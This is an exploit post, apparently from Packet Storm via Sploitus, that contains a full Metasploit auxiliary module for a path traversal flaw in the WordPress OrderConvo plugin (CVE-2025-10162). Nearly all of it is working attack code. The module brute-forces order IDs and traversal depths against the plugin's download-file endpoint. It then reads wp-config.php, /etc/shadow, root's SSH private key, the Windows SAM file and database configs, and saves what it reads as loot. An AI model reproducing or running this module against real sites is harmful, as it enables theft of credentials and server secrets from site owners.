Share
## https://sploitus.com/exploit?id=PACKETSTORM:223803
==================================================================================================================================
| # Title : WordPress OrderConvo 13.5 Plugin Path Traversal File Read Metasploit Module Vulnerability |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://wordpress.org/plugins/admin-and-client-message-after-order-for-woocommerce/ |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary module exploits a path traversal vulnerability in the WordPress OrderConvo plugin for WooCommerce (versions prior to 14).
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress OrderConvo Plugin Path Traversal',
'Description' => %q{
This module exploits a path traversal vulnerability in WordPress OrderConvo plugin
(versions prior to 14) for WooCommerce. The vulnerability exists in the
download-file endpoint which fails to properly sanitize the 'filename' parameter,
allowing attackers to read arbitrary files from the server.
The module supports multiple operating systems including:
- Linux/Unix systems (including WordPress files)
- Windows systems
- BSD systems
- MacOS
- Docker containers
Successfully tested on WordPress with OrderConvo plugin version 13.5.
},
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-10162'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2025-10162'],
['URL', 'https://www.najeebmedia.com/'],
['URL', 'https://wordpress.org/plugins/admin-and-client-message-after-order-for-woocommerce/']
],
'DisclosureDate' => '2026-05-31',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
))
register_options([
OptString.new('FILE', [false, 'File to read (use traversal sequences)', nil]),
OptInt.new('ORDER_ID', [false, 'Order ID to use (default: 1-5 brute force)', 1]),
OptBool.new('BRUTE_ORDER', [true, 'Brute force order IDs if default fails', true]),
OptEnum.new('OS_TYPE', [false, 'Target operating system (auto-detected if not specified)', 'auto',
['auto', 'linux', 'windows', 'bsd', 'macos', 'docker']]),
OptEnum.new('FILE_TYPE', [true, 'Type of file to read', 'wordpress_config',
['wordpress_config', 'system_passwd', 'system_hosts', 'web_config', 'database_config', 'custom']])
])
register_advanced_options([
OptInt.new('MAX_ORDER_ID', [true, 'Maximum order ID to brute force', 30]),
OptString.new('TRAVERSAL_DEPTH', [true, 'Path traversal base depth', '../../../../']),
OptInt.new('MAX_TRAVERSAL_DEPTH', [true, 'Maximum traversal depth to try', 15]),
OptBool.new('AUTO_DETECT_OS', [true, 'Automatically detect OS from response', true]),
OptString.new('CUSTOM_FILE_PATH', [false, 'Custom file path (when FILE_TYPE is custom)', nil])
])
end
def get_file_paths(os_type, file_type)
paths = {
'linux' => {
'wordpress_config' => 'wp-config.php',
'system_passwd' => 'etc/passwd',
'system_hosts' => 'etc/hosts',
'web_config' => 'etc/apache2/apache2.conf',
'database_config' => 'etc/mysql/my.cnf',
'system_shadow' => 'etc/shadow',
'ssh_keys' => 'root/.ssh/id_rsa',
'bash_history' => 'root/.bash_history',
'access_logs' => 'var/log/apache2/access.log',
'error_logs' => 'var/log/apache2/error.log'
},
'windows' => {
'wordpress_config' => 'wp-config.php',
'system_passwd' => 'Windows/System32/config/SAM',
'system_hosts' => 'Windows/System32/drivers/etc/hosts',
'web_config' => 'Windows/System32/inetsrv/config/applicationHost.config',
'database_config' => 'Program Files/MySQL/MySQL Server/my.ini',
'win_ini' => 'Windows/win.ini',
'boot_ini' => 'boot.ini',
'iis_logs' => 'inetpub/logs/LogFiles/W3SVC1/',
'php_ini' => 'PHP/php.ini'
},
'bsd' => {
'wordpress_config' => 'wp-config.php',
'system_passwd' => 'etc/master.passwd',
'system_hosts' => 'etc/hosts',
'web_config' => 'usr/local/etc/apache24/httpd.conf',
'database_config' => 'var/db/mysql/my.cnf'
},
'macos' => {
'wordpress_config' => 'wp-config.php',
'system_passwd' => 'etc/master.passwd',
'system_hosts' => 'etc/hosts',
'web_config' => 'etc/apache2/httpd.conf',
'database_config' => 'usr/local/etc/my.cnf'
},
'docker' => {
'wordpress_config' => 'wp-config.php',
'system_passwd' => 'etc/passwd',
'system_hosts' => 'etc/hosts',
'docker_config' => 'etc/docker/daemon.json',
'docker_env' => '.dockerenv'
}
}
paths[os_type][file_type] || paths[os_type]['wordpress_config']
end
def detect_operating_system
print_status("Attempting to detect target operating system...")
test_files = {
'linux' => 'etc/passwd',
'windows' => 'Windows/win.ini',
'bsd' => 'etc/master.passwd',
'docker' => '.dockerenv'
}
test_order_ids = [1, 2, 3, 5, 10, 15, 20]
test_files.each do |os, test_file|
test_order_ids.each do |order_id|
traversal = '../../../../' * 4
filename = "#{traversal}#{test_file}"
vuln_url = normalize_uri(target_uri.path, "wp-json/wooconvo/v1/download-file")
payload = {
'order_id' => order_id,
'filename' => filename
}
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => vuln_url,
'vars_get' => payload
}, timeout = 5)
if res && res.code == 200 && !res.body.empty?
if os == 'windows' && (res.body.include?('[fonts]') || res.body.include?('[extensions]'))
print_good("Detected Windows OS based on win.ini content")
return 'windows'
elsif os == 'linux' && (res.body.include?('root:') && res.body.include?('daemon:'))
print_good("Detected Linux/Unix OS based on passwd content")
return 'linux'
elsif os == 'bsd' && (res.body.include?('root:') && res.body.include?('$2b$'))
print_good("Detected BSD OS based on master.passwd format")
return 'bsd'
elsif os == 'docker' && (res.body.include?('docker') || res.body.length < 100)
print_good("Detected Docker container environment")
return 'docker'
end
end
rescue ::Rex::ConnectionError
next
rescue
next
end
end
end
print_status("Could not detect OS, defaulting to Linux")
return 'linux'
end
def try_traversal_depth(base_url, order_id, file_path)
(1..datastore['MAX_TRAVERSAL_DEPTH']).each do |depth|
traversal = '../' * depth
filename = "#{traversal}#{file_path}"
vuln_url = normalize_uri(base_url, "wp-json/wooconvo/v1/download-file")
payload = {
'order_id' => order_id,
'filename' => filename
}
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => vuln_url,
'vars_get' => payload
}, timeout = 10)
if res && res.code == 200 && !res.body.empty?
unless res.body.include?('error') || res.body.include?('failed') ||
res.body.include?('No such file') || res.body.include?('not found')
print_good("Found working traversal depth: #{depth} (#{'../' * depth})")
return filename, res.body
end
end
rescue ::Rex::ConnectionError
next
rescue
next
end
end
return nil, nil
end
def run_host(ip)
os_type = datastore['OS_TYPE']
if os_type == 'auto' && datastore['AUTO_DETECT_OS']
os_type = detect_operating_system
print_status("Target OS detected as: #{os_type.upcase}")
elsif os_type == 'auto'
os_type = 'linux'
print_status("Using default OS: Linux")
else
print_status("Using specified OS: #{os_type.upcase}")
end
file_to_read = nil
if datastore['FILE_TYPE'] == 'custom'
file_to_read = datastore['CUSTOM_FILE_PATH']
if file_to_read.nil? || file_to_read.empty?
print_error("CUSTOM_FILE_PATH must be set when FILE_TYPE is custom")
return
end
elsif datastore['FILE']
file_to_read = datastore['FILE']
else
file_to_read = get_file_paths(os_type, datastore['FILE_TYPE'])
end
print_status("Target file: #{file_to_read}")
print_status("OS Type: #{os_type.upcase}")
order_ids = []
if datastore['BRUTE_ORDER']
print_status("Brute forcing order IDs from 1 to #{datastore['MAX_ORDER_ID']}")
order_ids = (1..datastore['MAX_ORDER_ID']).to_a
else
order_ids = [datastore['ORDER_ID']]
end
order_ids.each do |order_id|
print_status("Trying order_id=#{order_id}")
filename, content = try_traversal_depth(target_uri.path, order_id, file_to_read)
if content && !content.empty?
print_good("Successfully read file with order_id=#{order_id}")
print_good("Traversal sequence used: #{filename}")
print_line("\n" + "="*60)
print_line("FILE CONTENT (#{file_to_read}):")
print_line("="*60)
if content.length > 5000
print_line(content[0..5000])
print_line("\n... [Output truncated, showing first 5000 characters] ...")
print_line("Full content saved to loot")
else
print_line(content)
end
print_line("="*60 + "\n")
safe_filename = file_to_read.gsub(/[\/\\]/, '_')
path = store_loot(
"wordpress.orderconvo.#{os_type}.file",
'text/plain',
rhost,
content,
"#{os_type}_#{safe_filename}",
"File read from vulnerable OrderConvo plugin on #{os_type} system"
)
print_good("File saved to: #{path}")
report_vuln({
:host => rhost,
:port => rport,
:name => self.name,
:refs => self.references,
:info => "Path traversal vulnerability in OrderConvo plugin allows arbitrary file reading on #{os_type} system"
})
return
end
end
print_error("Could not read file with any tested order ID or traversal depth")
print_error("Try increasing MAX_ORDER_ID or MAX_TRAVERSAL_DEPTH")
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================